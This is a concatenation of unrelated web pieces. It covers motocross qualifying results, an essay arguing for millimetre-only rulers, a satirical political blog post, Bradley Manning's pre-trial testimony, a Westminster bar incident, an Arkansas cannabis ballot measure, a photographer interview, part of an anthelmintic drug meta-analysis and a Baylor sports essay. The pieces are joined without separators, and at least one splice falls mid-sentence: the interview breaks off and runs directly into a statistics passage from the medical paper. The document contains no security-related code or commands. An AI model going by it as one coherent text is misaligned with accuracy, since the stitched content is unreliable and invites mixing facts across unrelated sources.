Ben Townley led a very fast pack of riders at the start of the first qualifying moto, and the veteran from New Zealand showed his speed through the opening laps of the twenty-minute sprint. Gautier Paulin started the moto near the front of the field and as the minutes clicked away, the French rider moved further up the running order. Midway through the moto, Townley and Paulin faced off for control of the moto, until a poor line decision by Townley while navigating through lapped riders allowed Paulin to pull into the lead. From there, the defending champion went unchallenged to the checkered flag and claimed the win by eleven seconds.
Shaun Simpson, Ken de Dycker and Justin Barcia battled for the final spots in the top-five during last moments of the twenty-minute moto, but like with Townley, lapped riders played a small part in the finish order. As the trio landed from a tabletop, a lapped rider swerved into Simpson's line and took the British rider down. American Barcia was able to avoid the carnage to slip up to third, while Belgian de Dycker slipped to fifth after a late pass by German Max Nagl. Simpson would eventually remount his damaged motorcycle and cross the line in eleventh place.
Gautier Paulin Ben Townley Justin Barcia Max Nagl Den de Dycker Evgeny Bobryshev Jose Butron Filip Bengtsson Todd Waters Priit Ratsep Shaun Simpson Valentin Guillod Rui Goncalves Nikolaj Larsen Martin Barr Lukas Neurauter Davis Ivnovs Carlson Badiali Ivo Monticelli Klemen Gercar
MX2 Qualifying Moto
After spending an entire summer locked in a battle for a 250 class championship, France's Marvin Musquin and America's Jeremy Martin squared off again for the MX2 qualifying moto. The two stayed close through the early laps of the moto, with Musquin holding a slight advantage over Martin on the tricky French course. With each lap, Musquin inched a bit further ahead, putting four seconds between himself and rival Martin at the checkered flag. With this second French moto win, the hosting nation and defending champions secured first gate picks for all three of Sunday's motos.
Great Britain's Max Anstie experienced a scary moment on the hills Ernee as another rider landed him on over one of the many downhill leaps. He was tended to by medics after the incident and reportedly suffered a series of arm injuries. This and Simpson's earlier issues all but killed England's chances at this year's event.
Marvin Musquin Jeremy Martin Jeremy Seewer Pascal Rauchernecker Julien Lieber Jorge Zaragoza Harri Kullas Nick Kouwenberg Toshiki Tomita Henry Jacobi Michele Cervellin Graeme Irwin Thomas Kjer Olsen Alvin Ostlund Filip Neugebauer Sandro Peixe Hector Rodriguez Fabio Santos Magne Klingsheim Peter Irt
Open Qualifying Moto
Coming from team USA’s unfortunate gate pick was a very amazing holeshot from the young American Cooper Webb. Both him and Jeremy Martin had picked this outermost gate, and Cooper reeled in a holeshot from it. Impressive work! The class favorite and recent world champion Romain Febvre found himself in third quickly and patiently awaited the right times to make passes. The two Yamaha pilots gave the crowd quite a show, where at times Cooper looked to have him handled, but a lap later would have the same immense pressure. A couple mistakes later, Febvre had the lead and ultimately the win. Behind those two were a couple hard fought battles for third and top five between Van Horbeek, Coldenhoff, Wilson, and Ullrich. If today is a sign of things to come, then bring on tomorrow!
Romain Febvre Cooper Webb Jeremy Van Horebeek Glenn Coldenhoff Dean Wilson Dennis Ullrich Dean Ferris Cody Cooper Tanel Leok Günter Schmidinger Tim Gajser Matiss Karro Jesper Jönssen Arminas Jasikonas Samuel Bernardini Jean Carlo Ramos Stuart Edmonds Stefan Kjer Olson Lasse Christopherson Tomasz WiszockiBy The Metric Maven
Bulldog Edition
One of my very first memories of linear measurement, is of my Grandfather’s upholstery shop. He had built all of his wooden workbenches himself, and embedded wooden yardsticks into them for a convenient measure. Well, they looked like yardsticks, but were actually 54 inches. This was the size of “standard” upholstery cloth he often used. There were also yardsticks of 36 inches around for quick measurement. They were ubiquitous in my youth. Why?—because almost every business of one type or another gave them out as free advertising. Below is one from many years ago as an example.
They seem as American as apple pie, but are actually a good example of how much the way we measure is a throwback to the 18th century. Even then they knew better. I explained the problem to a woman one day during a trip, and half-way through my explanation she spouted out “You make the way we measure sound like it’s difficult!” I wasn’t sure if it was denial mixed with surprise and a hint of exasperation, or the shock of realization. She is no average girl, she has worked on large engineering bids in Korea and London. What’s wrong with our rulers? Let me begin at the beginning. Here is part of a yardstick with typical divisions labeled:
As every American knows from grade school instruction, a yardstick is divided into one inch divisions, half-inch, quarter-inch, and in the case of the yardstick shown, into eighth-inch divisions. Apparently that was close enough for most people, I don’t recall any complaints. The divisions are expressed as fractions, so if you have 1 + 1/2 + 3/4 + 7/8 you cannot add them directly to get 25/8 total. You must find a common denominator for them.
Essentially you have a ruler with 4 scales on it. By a scale I mean graduations you can read and add together directly. For instance if you measure a distance of 1 inch, and then measure 3 inches you can immediately add them together to make 4 inches. This is true for each fraction also, so 5/8 + 7/8 = 12/8 (= 3/2). To designate these scales on a yardstick, the line lengths are all different. Their vertical length is proportional to their horizontal linear graduation size, with 1, 2, 3 inches the longest and 1/8, 2/8, 3/8 the shortest vertical lines.
The Maven has one suggestion that would help make a yardstick much easier to use he-thinks. All of the fractional scales, (i.e 1, 1/2, 1/4..) are on top of one another, and share many equal values. What I mean is 1 inch = 2/2 inch = 4/4 inch = 8/8 inch. So lets just get rid of all the scales except for the integer inches and the 1/8 inch graduations. The yardstick would now look like this:
Now we can measure as precisely as possible with the smallest given graduation, that is, within 1/8 of an inch. The ruler does not have finer graduations, so no matter what you measure, it will be within about 1/8 of an inch. The great part is that now we can add measured values directly. Say we measure 2 3/8 inches and 6 7/8 inches. We can add them easily to get 8 10/8 inches or 9 and 2/8 inches. Now you may want to change it to 9 1/4 inches, but that value is no longer on our scale, so we would leave it in eighths.
The closest we can measure with this ruler is 1/8 inch which is 3.175 mm. If we go to 1/16 inch, that is 1.58 mm, so if we use a millimeter graduated rule we will be just slightly better than 1/25 of an inch. We already start out measuring much more precisely than a common yardstick, just by using millimeter graduations!
What most Americans think of as a metric ruler is shown below. I like showing it, because it’s from a thoughtless anti-metric diatribe, written at the turn of the twentieth century, which was presented before congress—and is wrong.
It is designated to be a millimeter ruler according to the “distinguished” and “scholarly” author of The Metric Fallacy,” but it is not. It is a centimeter rule with millimeter graduations, what a mess! You may be thinking, “but Maven, you already showed us the same thing above is an improvement, isn’t it better to have a version with centimeters and millimeters?” NO IT IS NOT. Yes this is the type of ruler that is attached to lower edge of inch rulers in the United States as an after-non-thought, and called a metric ruler. It’s clear whoever decided this “design” is a proper set of metric graduations has never actually used the metric system. Other English speaking fully metric nations, like Australia and New Zealand, have learned to eschew centimeters on rulers. Remember! The idea of metric is simplicity, full stop. Properly implemented metric is not harder than the current measurements, it’s much easier, as I will later show.
With this typical American style ruler we would have to measure say 2 cm 5 mm and 5 cm 7 mm to get 8 cm 2 mm. What we have again is two scales, one centimeter and one millimeter. We are forced to use two units, centimeters and millimeters, because of the ruler’s design.This may seem comfortable to a culture which measures people with values like five foot ten inches, but it is still not optimum, and is cumbersome. I would bet that the yardsticks given out in Monticello Iowa, in 1980, were centimeter-millimeter ones. This would probably cause most people there to see no advantage, and ignore the metric side. Here is the ad for yardsticks with metric graduations from the June 25, 1980 Monticello Express:
We will now convert the centimeter/millimeter ruler from 1904, with the magic of computer imaging software, to a true, single scale, millimeter metric ruler:
Now this is a simple ruler anyone can use. If you measure 52 mm and 72 mm you can easily add them to get 124 mm. If the free yardsticks offered to Iowans in 1980 had been marked this way, some of the local residents might have immediately realized the advantages of using it. In my view, the mixed graduations of centimeters and millimeters on American rulers have held back metrication considerably. Dual rules, millimeters and inches, also are bad for metrication–but that’s another blog. Don’t use centimeters!—ever! Here is an example of a section from a 300 mm Australian ruler I use in my Engineering work:
I tend not to need a ruler which is more than 600 mm long. It is people in metric countries, who design with fabric, that use full meter sticks with millimeter graduations—Like my grandfather’s larger yard stick. Here is a picture of a person using a meter stick with mm graduations:
For the average person, there are only three distance measurement units that are important, millimeters, meters, and kilometers, that’s it. The others, such as micrometers and nanometers, are generally only used by technical professionals.
I spoke with my friend Thern, the Mechanical Engineer, about all of this. He has experience building houses, and said “If we used metric tape measures with only millimeters, people who have been unable to accurately read inch measures for their entire careers, would finally be able to do so accurately, and with way fewer errors when building houses.”
In the Jan-Feb issue of Metric Today in 2005, the story of Professional Engineer Robert Bullard is detailed. He had the temerity to design a house exclusively in metric–in Florida. He faced multiple layers of metric discrimination trying to get his drawings approved by regulators. The attitude was “you don’t like it–then sue us.” Bullard was inspired to go metric when he had his first experience with a metric design. The construction design was completed by a draftsman much faster than the US designs with which he had exclusive experience. Overall the entire design was about 20% more efficient
Quoting from the Metric Today article, we see Robert Bullard’s builder, Blake Cougle agreeing with Thern about our current measurement system:
Cougle then turns his critical eye onto U.S. workers, who, he claims, even fail to show mastery of American customary units of measurement. “[U.S. laborers] can’t handle fractions of inches,” he said. “They might use a ruler, but they often end up just counting courses (concrete blocks). You’d be amazed.”
Actually, because I understand how baroque our rulers are in the US, I’m not that amazed.
This is why Australia saves 10%-15% in material costs for building construction every year compared with America. What is a good use for all these old yard sticks? Perhaps they can be broken up and used to fix tables with unequal legs. Some people already use them to make art. The time has long ago arrived in America to drop by a lumber yard and expect them to hand out wooden meter sticks for advertising—in metric only. Demand millimeter Metersticks not Yardsticks.
If you liked this essay and wish to support the work of The Metric Maven, please visit his Patreon Page.
Related essays:
The American “Metric” Ruler
The Design of Everyday Rulers
America’s Fractional Mind“Hey kids! Let’s play “The Glad Game!”
Well, it certainly has been an eventful couple of days. Every 50 or 100 posts that I write, Hot Air, or Insty, or one of my friends on the left who run big blogs (and yes, I am, in fact, a lefty plant just as so many of you suspect, ordered by my liberal overlords to pretend to be a conservative in order to sow confusion and distrust on the right), will link to something I’ve done and down we go, into the rabbit hole.
I will let you in on a little secret; if I knew in advance that a post of mine was going to get the kind of attention that was given my recent rant against Glenn Beck, I would not write it. Unless you are brain dead or a disciple of the Marquis de Sade, exposing oneself to the kind of personal attacks on my character, my heritage, my intelligence, and alas, even the quality of my writing is hard on the ego not to mention an emotional downer. Anyone who says it wouldn’t bother them is either lying or has never had it happen to them. Anyone who thinks I write that kind of stuff for noteriety, or links, or so that I will get linked by big bloggers, or because I want to curry favor with liberals must also believe I have a S & M set up in my basement where I dress up in a black leather and dangle from a gibbet, all tied up, while my Zsu-Zsu alternates between tickling me with an ostrich feather and whipping me with a cat ‘o nine tails, making me scream at the top of my voice, “Thank you, Ma’am, may I have another!”
Actually, don’t knock it unless you’ve tried it.
Really now, I write in near total obscurity and the fact that I write stuff like the Beck post fairly often and it doesn’t get any attention is exactly the same result that I get with the 95% or so of posts I write that most of my detractors would have no trouble agreeing with. The point being, you never know as a blogger. Maybe I should pay more attention to McCain’s rules for how to get a million hits. Can’t do any worse on my own.
Therefore, things are going to change around here. From now on, no more bashing Glenn Beck. After all, screaming on national TV to Obama “Why don’t you just set us on fire” is just not criticizable. It is the heighth of rational discourse. Who am I to say otherwise? I’m sure we can come up with a good explanation for Beck’s behavior like, “He was only kidding,” or perhaps “He forgot to take his meds.” The trick is, instead of criticizing or making sport of Mr. Beck, or other conservatives, or the Republican party, or conservatism, I am going to play “The Glad Game” and find something good and happy in every situation.
From now on, if I feel the urge to bash Limbaugh or other righties who speak for conservatives, I will play The Glad Game and find the good in everything. No more piling on to curry favor with the left. No more envious rants against people who make more money than I do and who have made a success of their lives. No more being a tedious moron. No more Miss Fowler. No more elitism. No more RINO stuff. No more aping my liberal brother to whom I have shamelessly hitched my blog star and whose name I constantly invoke in order to feel important. And no more attempts to get links from big blogs by deliberately being provocative, knowing that it will be a real career builder.
Only The Glad Game for me. I will take note that Rush is a funny, smart, real conservative who is almost always right and who conservatives would do well to take whatever advice he offers. I will wax poetic about Ann Coulter and her charm, her wit, her balanced critiques. Same goes for Michael Savage, Glenn Beck, Sean Hannity, and all the other popular conservatives.
I see the error of my ways. And this goes for anything I say about the GOP too. No more dire pronouncements of electoral disaster. From here on out, it’s tea parties and triumph at the polls for me. I promise to ignore polls that don’t have Republicans sweeping to victory in 2010. And I will enthusiastically cover the tea parties that are going to change America.
I love this Glad Game. I’m warming to it already. It’s so much more fun when you simply follow the herd. And if it leads over a cliff, so what? Since we’re playing the Glad Game I would simply say I’ve never jumped out of an airplane without a parachute before so going over a cliff will be an exciting, new experience for me. And who knows? Maybe when we hit the ground, it will be made up of chocolate ice cream and marshmallows so we can come in for a soft landing and eat a lot of good sweet stuff at the same time!
It sure will feel good to be popular again.This week, the Associated Press made a change to its style guide that has the word dumpster as lowercase.
This comes after capitalizing the word in the past, as Dumpster is a genericized trademark of an American brand name for a type of mobile garbage bin.
Some notable trademarks that have lost their legal protection in the U.S. include Aspirin, Zipper, Yo-Yo and Thermos.
Still, brands like Velcro, Kleenex and Band-Aid still hold their legal protection from their trademarks, even though many refer to the brands in a generic sense.
Frisbee is a great example of a brand (Frisbee is a trademark product of Wham-O) that is used in a generic sense.
Lets be honest, have you ever heard someone say "lets go outside and throw around a flying disc"?
See above for even more names and terms that you may or may not be aware are trademarked.
For our mobile users, you can view the gallery here.The psychiatrist who treated the WikiLeaks suspect, Bradley Manning, while he was in custody in the brig at Quantico has testified that his medical advice was regularly ignored by marine commanders who continued to impose harsh conditions on the soldier even though he posed no risk of suicide.
Captain William Hoctor told Manning's pre-trial hearing at Fort Meade that he grew frustrated and angry at the persistent refusal by marine officers to take on board his medical recommendations. The forensic psychiatrist said that he had never experienced such an unreceptive response from his military colleagues, not even when he treated terrorist suspects held at Guantanamo.
"I had been a senior medical officer for 24 years at the time, and I had never experienced anything like this. It was clear to me they had made up their mind on a certain cause of action, and my recommendations had no impact," Hoctor said.
The psychiatrist was testifying at Manning's court martial for allegedly being the source of the massive leak of hundreds of thousands of confidential US government documents to the whistleblower website WikiLeaks. The 24-year-old soldier, who worked as an intelligence analyst until his arrest in Iraq in May 2010, faces 22 counts and possible life in military custody.
Manning's defence lawyers are attempting to have the charges thrown out or any eventual sentence reduced by seeking to prove that the soldier was subjected to unlawful pre-trial punishment at Quantico. During the nine months he was in custody at the marine base in Virginia he was put on suicide watch and a "prevention of injury" order, or PoI, that kept him in solitary confinement and exposed him to extreme conditions that were denounced by the UN and Amnesty International as a form of torture.
Hoctor began treating Manning from the day after he arrived at Quantico on 29 July 2010, seeing him initially every day and then later once a week. At first he recommended that the soldier be put on suicide watch - the most stringent form of custody - given that he had mentioned killing himself while previously held in Kuwait and that nooses that he had made were found in his cell.
But within a week of seeing Manning he changed his recommendation, reporting to officers that in his medical opinion the soldier could be put on the lesser PoI status. His advice was ignored for a couple of weeks, Hoctor told the court. "At Quantico they often did not immediately follow, or sometimes did not follow at all, my recommendations."
The failure to act on the doctor's recommendation was an apparent violation of the instructions under which marine installations operate. The regulations state that "when prisoners are no longer considered to be suicide risks by a medical officer, they shall be returned to appropriate quarters."
By 27 August 2010, Hoctor testified, he had spent enough time with Manning to recommend a further easing of conditions. From then on he advised in a regular weekly report that Manning should be taken off PoI altogether and returned to the general brig population.
"I was satisfied he no longer presented a risk. He did not appear to be persistently depressed, he was not reporting suicidal thoughts, in general he was well behaved."
Specifically, Hoctor was convinced that Manning no longer needed to be subjected to restrictive conditions that included: no contact with other people, being kept in his cell for more than 23 hours a day, being checked every five minutes, sleeping on a suicide mattress with no bedding, having his prescription glasses taken away, lights kept on at night, having toilet paper removed.
Only on two occasions did Hoctor report that Manning appeared upset and should be put temporarily under close observation. The first incident occurred in December 2010 when Fox News erroneously reported that Manning had died, and the second in January 2011 when the soldier broke down in tears while in the exercise room.
Yet the psychiatrist's recommendation that other than these isolated incidents Manning should be treated like other inmates was consistently ignored. The soldier was kept on PoI throughout the rest of his time at Quantico.
The blanket denial of his expert opinion was unprecedented in his quarter century of practice, the psychiatrist said. "Even when I did tours in Guantanamo and cared for detainees there my recommendations on suicidal behaviour were followed."
Hoctor said he openly protested about the thwarting of his expert opinion at a meeting with the commander responsible for the brig, Colonel Robert Oltman, on 13 January 2011. At the meeting Oltman informed the doctor that Manning would be kept on PoI "for the forseeable future".
Hoctor said that the marine commanders should no longer pretend they were acting out of medical concern for the detainee. "It wasn't good for Manning. I really didn't like them using a psychiatric standard when I thought it clinically inappropriate," Hoctor said.
The court heard that Oltman replied: "You make your recommendations, and we'll do what we want to do."
Earlier the court martial heard from Oltman himself, who told the judge presiding over the proceedings, Colonel Denise Lind, that he had chosen to overlook Hoctor's advice because he didn't fully trust the doctor. A few months before Manning arrived at Quantico, an inmate of the brig, Captain Michael Webb, had killed himself while under Hoctor's care.
"I did not have the utmost confidence in Captain Hoctor," Oltman testified.
When that lack of trust was put to Hoctor by Manning's defence lawyer, David Coombs, the psychiatrist replied: "If they felt that way they should have got another person to do the job."
Despite the unprecedented conditions that Manning was held under, Hoctor said the detainee coped quite well. "Most people would have found it very difficult, being watched every five minutes, but he did better than expected – I think he decided he was going to be strong."Last night in the Strangers’ Bar, several reports say David Davis, the Secretary of State for Exiting the European Union, approached Diane Abbott and attempted to kiss her in a show of mock-gratitude for voting to trigger Article 50. She told him to “fuck off”, according to Paul Waugh and Kevin Schofield.
Abbott’s struggles to reconcile her loyalty to Jeremy Corbyn, the Labour leader, and her own belief that triggering Article 50 is a mistake, have been the subject of well-documented Westminster soap opera. She missed the first vote with a migraine which is widely believed to have been invented to avoid breaking the whip.
Here are the headlines. “Diane Abbott 'tells Brexit minister David Davis to 'f*** off' as he tries to KISS her in Commons bar' after she helped the Tories to a resounding victory by voting through Article 50 bill” is the Mail’s, “David Davis rebuffed 'after trying to kiss Diane Abbott’” is the Independent’s, “Diane Abbott tells Brexit minister to 'f*** off' after he attempts to kiss her in Commons bar after Article 50 vote” is the Telegraph’s, “Feeling better then Diane? Abbott tells David Davis to 'f*** off' in Commons bar” is the Express’, while the Huffington Post goes for “Diane Abbott Told Brexit Secretary David Davis ‘To Fuck Off’ After He Congratulated Her For Backing Brexit”.
Here’s what we know: Abbott really, really didn’t want to vote to trigger Article 50 last night. Although she has always had a rough ride around Westminster, she has always been able to fall back on the support of her Hackney constituency. This vote has put her at odds with the overwhelming majority of people, both in the local party and in the area generally. It also goes against her own personal views and is a political blow - a rare occasion in which Corbyn has decisively opted to follow the counsel of John McDonnell rather than her advice.
You don’t have to be a psychoanalyst to know that Abbott has not enjoyed the last 24 hours and was not in the mood to be congratulated by anyone, least of all David Davis and certainly not with a kiss.
So why aren’t the headlines “Secretary of State attempts to humiliate woman”, or “Secretary of the State tries to kiss woman without her consent”, “Brexit minister under pressure to apologise to MP”, or some variant thereof? These aren’t behaviours that would be viewed anything other than dimly in any other workplace. Why is the focus on Abbott telling Davis to “fuck off” and not on his behaviour?
These are rhetorical questions, of course. We all know why.LITTLE ROCK, AR - An Arkansas marijuana legalization proposal is one step closer to the ballot.
This afternoon, the Arkansas Attorney General's office certified the popular name and ballot title of the Arkansas Hemp and Cannabis Amendment.
The amendment proposes that the cultivation, manufacturing, distribution, sale, possession and use of the cannabis plant and all products derived from the cannabis plant are permitted.
Approval of the ballot title means that supporters of the amendment can gather signatures of registered voters.
"We have won the war, yet there's a lot of work that's gotta take place and it's going to be up to the citizens of Arkansas to do it," says Robert Reed, who authored the amendment.
The map of America is changing when it comes to marijuana laws. Colorado and Washington legalized pot in 2012. Alaska already has it on the ballot this year. Oregon could be next. Then there's the Natural State. If 78,133 registered voters sign the petition, the issue goes before all Arkansas voters in November.
"This has been a four year battle to get to this stage," says Reed. "This basically ends 80 years of cannabis prohibition, this will make it legal in the state of Arkansas to grow this plant for industrial use, medical use, and yes to regulate for recreational use," Reed says.
Opponents of the measure are also weighing in.
"I just don't believe its an idea that will fly here in Arkansas," says Jerry Cox, president of Arkansas Family Council. "We're setting ourselves up to create yet another road for people to inflict harm, not only on themselves, but on the members of their family, on their children, of everybody who is around them."
Cox not only disagrees with this issue, he also doubts it has the backing to make it on the ballot.
"We've said all along that Colorado and Washington are kind of like the examples of the end of the line with this, where it's just totally legal and we don't wanna see that in Arkansas."
The deadline is July 7 for supporters of the Arkansas Hemp and Cannabis Amendment to submit the petition signatures. Reed says three-thousand people are ready to hit the streets with the petitions to gather those signatures.Jane Hilton talks American ideology and shooting the world's most misunderstood professionals
Text Emma Hope Allwood
After a youth spent watching Westerns, imported across the Atlantic from Hollywood studios to the English suburbs, Jane Hilton developed a fascination with the visual and ideological landscape of America. Following on from a project photographing the country's remaining cowboys, her latest book Precious gives a rare look inside its brothels, exiled by law to secretive, ranch style locales in the deserts of Nevada. A series of striking, mostly nude portraits of the women that live and work there, Hilton’s images are a non-judgemental look at one of the world’s most misunderstood professions – “I love these women and respect every one of them,” she writes in the book’s introduction. “To me, they are precious.”
When did your fascination with America start? Jane Hilton: I visited in 1988 for the first time on a fashion shoot. I was there for three weeks, in Tuscon, Arizona, and it just blew my mind. Initially it was because of the space and the landscapes – you could see 180 degree vistas of desert and mountains which you just don’t get in England – but then I started to meet characters in the town. One man, Walter Swan was his name, had a bookshop called the One Book Bookstore. He was in his seventies, a real cowboy. He was a magical person that I spent some time with, and I took his picture. I was just hooked from then on. So from that moment did you think, “this is somewhere I have to come back and start photographing?” JH: No, no I didn’t. I was just blown away by the experience. I was an assistant at the time, so I was working hard and just soaking it all up. It was later on I realised that it had really struck a chord with me, so I went back and started doing projects in the early 90s. The first project that I seriously got |
0.023). We cannot, however, explain the increase in egg reduction rates with albendazole (P=0.024) against T trichiura (table E in appendix 2). An additional limitation of the diagnostic methods (Kato-Katz, McMaster, etc) is their inability to distinguish between A duodenale and N americanus. Few included studies reported efficacies for specific hookworm species. The overall efficacies might differ according to the species. For example, while both hookworm species are somewhat susceptible to pyrantel pamoate, N americanus is reported to be less sensitive.82 The commonly higher abundance of N americanus in Africa than in Asia83 might have led to the borderline significant difference (P=0.053) in cure rates of pyrantel pamoate in Asia (64%) and Africa (27%; table C in appendix 2). The network meta-analysis for egg reduction rates was limited by the lack of precision estimates in most of the studies and by the different choices of the measure of central tendency (arithmetic or geometric mean). There is an ongoing debate about advantages and disadvantages of the two systematically different means, while WHO now recommends the arithmetic mean.1884 A few, mainly older, studies did not even report which measure of central tendency they used. In the absence of standard errors and confidence intervals, we could not optimise the precision of meta-analytic estimates. Moreover, as arithmetic and geometric means are systematically different, we had to adjust analyses of egg reduction rates for the type of mean. To deal with potential publication bias, we compared results of smaller and larger studies in an interaction analysis. We might have slightly overestimated the effect of albendazole against hookworm, where the cure rate showed an almost significant negative association with study size (P=0.053). While the cure rates of A lumbricoides showed positive or stable associations with study size for all treatments, the rates of T trichiura after treatment with albendazole and mebendazole slightly decreased with increasing study size, yet not significantly. Thus, we did not find consistent evidence of publication bias (table J in appendix 2). The small number of available and eligible studies for levamisole is another limitation of our work. Consequently, all estimates relating to levamisole (cure rates, egg reduction rates, and odd ratios) have wide confidence intervals. Nonetheless, we present the first pooled estimates of efficacy for levamisole against hookworm, showing a low average cure rate (10.3%, with an upper 95% confidence limit of 35.2%), which conflicts with the fact that the drug is recommended for the treatment.311
Clinical implications Efficacy of anthelmintic drugs is defined by cure rates and egg reduction rates. As both parameters have to be taken into consideration in comparisons of the efficacy of the drugs for each helminth species, the comparison was done qualitatively. Against A lumbricoides we found no significant differences, and all drugs had high efficacy. Albendazole had the highest efficacy for treating hookworm infections with significantly higher cure rates, followed by pyrantel pamoate, and lowest efficacy for levamisole and mebendazole when used at single oral doses. With regard to T trichiura infections, mebendazole had the highest, yet only moderate, efficacy, with significantly higher egg reduction rates than albendazole. The cure rates of levamisole and pyrantel pamoate did not differ from placebo. Moreover, after stratification by year, we found a significant decrease in cure rates for albendazole against T trichiura (P=0.039) and a remarkable reduction against hookworm (table I in appendix 2). These results were even more pronounced in the interaction analysis. The cure rates for albendazole against T trichiura remained significantly lower (P=0.027). Furthermore, egg reduction rates of albendazole (p=0.027) against hookworm and of albendazole (P=0.049) and mebendazole (P=0.014) against T trichiura (table K in appendix 2) significantly decreased over time, which might be attributable to drug resistance.85 Several studies correlated reduced efficacies of benzimidazoles586470717286 with emerging resistance. In 2015, more than a billion people infected with lymphatic filariasis and soil transmitted helminths were treated with albendazole,9 which is causing high drug pressure on parasites and might trigger drug resistance. In veterinary medicine, frequently repeated treatment with benzimidazoles has caused resistance in numerous nematode species.848788 Resistance to anthelmintic drugs in humans, however, has not yet been shown. While the reduction in efficacy could be explained by emerging resistance, other factors, related to drug regimen, diagnostics, or host and parasite characteristics, might have contributed to the reduction.18 We evaluated the impact of some potential confounders but did not assess the influence of, for example, drug quality (original versus generic drugs), change in compliance over the years, or the day to day variation in egg excretion.1889 Hence, future randomised controlled trials should follow a harmonised design to reduce confounders, as suggested by WHO,18 which will yield improved summary estimates of efficacy of anthelmintic drugs.We're running a series of dispatches from fans of unlikely Sweet 16 teams: Ohio, North Carolina State, and Baylor.
I went to Baylor because of Brian Skinner and chicken fried steak. I know this sounds ridiculous; I mean, it is ridiculous. But it's true. When I went to visit the campus as a high school senior, I didn't have any intention of going there. But it was a 90-minute drive from home, and it was convenient enough. When I got there, the cafeteria had chicken fried steak, which was just about my favorite thing in the world, and so it was with a full stomach that I trekked over to the Ferrell Center to watch a Baylor basketball game.
I don't even remember which team they were playing. (I don't even know if I could reconstruct it, but it's moot; when your school's athletic history is as void as Baylor's, investigating old game info is practically impossible. There are websites dedicated to archiving every moment of every game at the University of Texas. For Baylor, for decades, we were lucky if we could forget the games by the morning after they were played.) Whoever it was, it had to have been somebody just as lousy as Baylor was, because Skinner looked like a muscled-up, begoggled Bill Russell out there. That was a guy I wanted to root for.
Suffice it to say that Skinner's Baylor squads never amounted to much. He had a long NBA career, as strong, fairly coordinated 6-foot-9 guys sometimes do, but he played for eight teams in 11 stops over 12 years in the league, and a quick YouTube search leads you to things like, "Kwame Brown Tomahawk Dunk Over Brian Skinner."
As for football, well, there was even less to get excited about. There was one homecoming game against Texas in which Baylor eked out a win and fans tore down the goalpost and carried it back to campus. (In retrospect, this was a win for both teams, as it led more or less directly to Texas firing John Mackovic and bringing in Mack Brown.) There was that transcendent stretch during the 1996 season when slash-back Kalief Muhammad ran up and down the field, seemingly unstoppable, all of Floyd Casey Stadium ringing with his name. Try to imagine it: a crowd of arch-conservative Baptists chanting Ka-lief Mu-ham-mad, Ka-lief Mu-ham-mad in 2006.
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Did I mention that Baylor is a deeply Christian, deeply conservative school?
* * *
If you've read any of the high-profile feature pieces on Baylor's emergence as a legitimate sports school—The New York Times and Sports Illustrated have taken notice, and with only the subtlest condescension—you probably knew that already. Both pieces are long, so if you aren't inclined to read them, the story goes something like this: Baylor was really terrible at sports for forever and Baylor people love Jesus and then a basketball player got murdered by his teammate and then the Big 12 almost collapsed and check out this folksy quote about football and Jesus and then Baylor got good at sports and oh by the way Ken Starr is the university president. If those stories weren't definitive enough, ESPN went and formalized Baylor's ascension into the big time by giving its players both the classic "You Think You Know Him, But You Don't" profile and the "This Unassuming Player is Hardworking and Humble" profile.
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With Scott Drew's screwball bunch of talent making a run in the tournament just months after Robert Griffin III put up the best season of any quarterback in college football, Baylor has inexplicably established itself as a legitimate sports program. The basketball team, behind semi-star forward Perry Jones III—who has the singular ability to appear as if he's playing on a 9-foot goal, even if he seems only occasionally motivated to be great—trotted out a pair of already-infamous new uniforms for the Big 12 tournament, a highlighter-yellow number that even Oregon football might deem garish and a camouflage look with a black flak-jacket-like chest plate that's an homage either to the 1987 Miami Hurricanes or to 50 Cent. How do you know you've arrived as a sports school? A fuck-you uniform redesign, that's how.
It's all pretty bizarre for an actual Baylor grad, especially one at such a physical remove from the "Baylor Bubble" of Waco. Hell, there have been times in the past 10 years, trying in vain to follow Baylor from Brooklyn, that I wasn't totally sure they were even fielding a team. For the record, they were, except for a spell when they suspended their own basketball squad from non-conference games after the murder of Patrick Dennehy and the subsequent attempted cover-up by the head coach, Davis Bliss. (This, by the way, has its own Wikipedia page.) For the better part of a decade, that was the legacy of the Baylor basketball program.
Listen, I wasn't your prototypical Baylor student—I give that title to the guy in my freshman-year Old Testament class who argued, loudly, that Noah's Ark was real and in fact had been found, as the professor's face worked itself into a knot. I had mixed feelings about the place from freshman year on, and I still do today. But in the years since I left the Lone Star State, I've wanted to love Baylor sports. Palling around in New York with University of Texas grads will have that effect on you, I guess. When you're so far from home, it's comforting to see your alma mater play ball, and occasionally win. But it's frankly odd to have spent so many years at peace with my school's athletic irrelevance and then to have the Bears emerge—as the theologians might say—ex nihilo onto the scene. It's weird to have to take them seriously. There was a time not so long ago when I'd mention Baylor and the person I was talking to would say, "Oh, good med school, right?" to which I'd have to point out that Baylor severed ties with Baylor Medical School in the '60s. Or he'd say, "Aren't they all, like, hardcore Christians?" to which I'd have to say yes.
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I guess this is the crux of my discomfort with Baylor. I was never uncomfortable with Christianity itself. Maybe having a Southern Baptist preacher for a father helped with that. But the school's overwhelming culture of evangelical automatization—SI mentions the t-shirts, the highway billboards, the students asking Brittney Griner to let them pray with her right in the middle of campus (this stuff really happens)—left me cold, and seeing the mind-meld between the Republican Party and the Christian Right in real-time turned my stomach. At Baylor, the kids glommed onto faith the way they might become Dead Heads or gutterpunks somewhere else. It was a culture of Christian t-shirts over Gospel values. It was an army of closed-minded white people preaching inclusiveness. It was a culture of taking oneself so very, very seriously. That wasn't a Christianity I wanted anything to do with, but it was inescapable.
Athletic success did something, though. Culture corrupts, and when the sports world—in all its well-meaning thickheadedness—rubbed up against all that religious fervency, an alchemy took place, at least in my mind, whereby Baylor's outward piety was converted into folksy color in magazine pieces. It was B-roll, just another part of the college backdrop, our version of ivy on a brick wall. As it should be.
It's a good thing to have a coach who professes his deep Christianity one moment and then lapses into accidental irreverence when he talks about people "crucifying" him, or when he sets up a literal shrine to Baylor in the Indiana airport in which he interviews for the job (false idols and all that). It may have been patronizing when major news outlets ran har-har lines like "thank you, Lord" after Griffin took a smart knee (that's SI) or "To which all of Baylor Nation said: Amen" (that's how the Times ended its piece—seriously), but then again Baylor's institutional religiosity is nothing if not patronizing, too. Mixing God with decidedly earthbound concerns—like fundraising, or building projects, or women's basketball—trivializes the whole thing. The "Nehemiah-like rebuilding process," the band playing "Livin' on a Prayer," Sonny Vaccaro's mailed-in "they don't know if he's Billy Graham or Jimmy Swaggart" bit about Scott Drew—this is exactly what Baylor is like. Finally we have sports teams good enough for me to laugh about it.
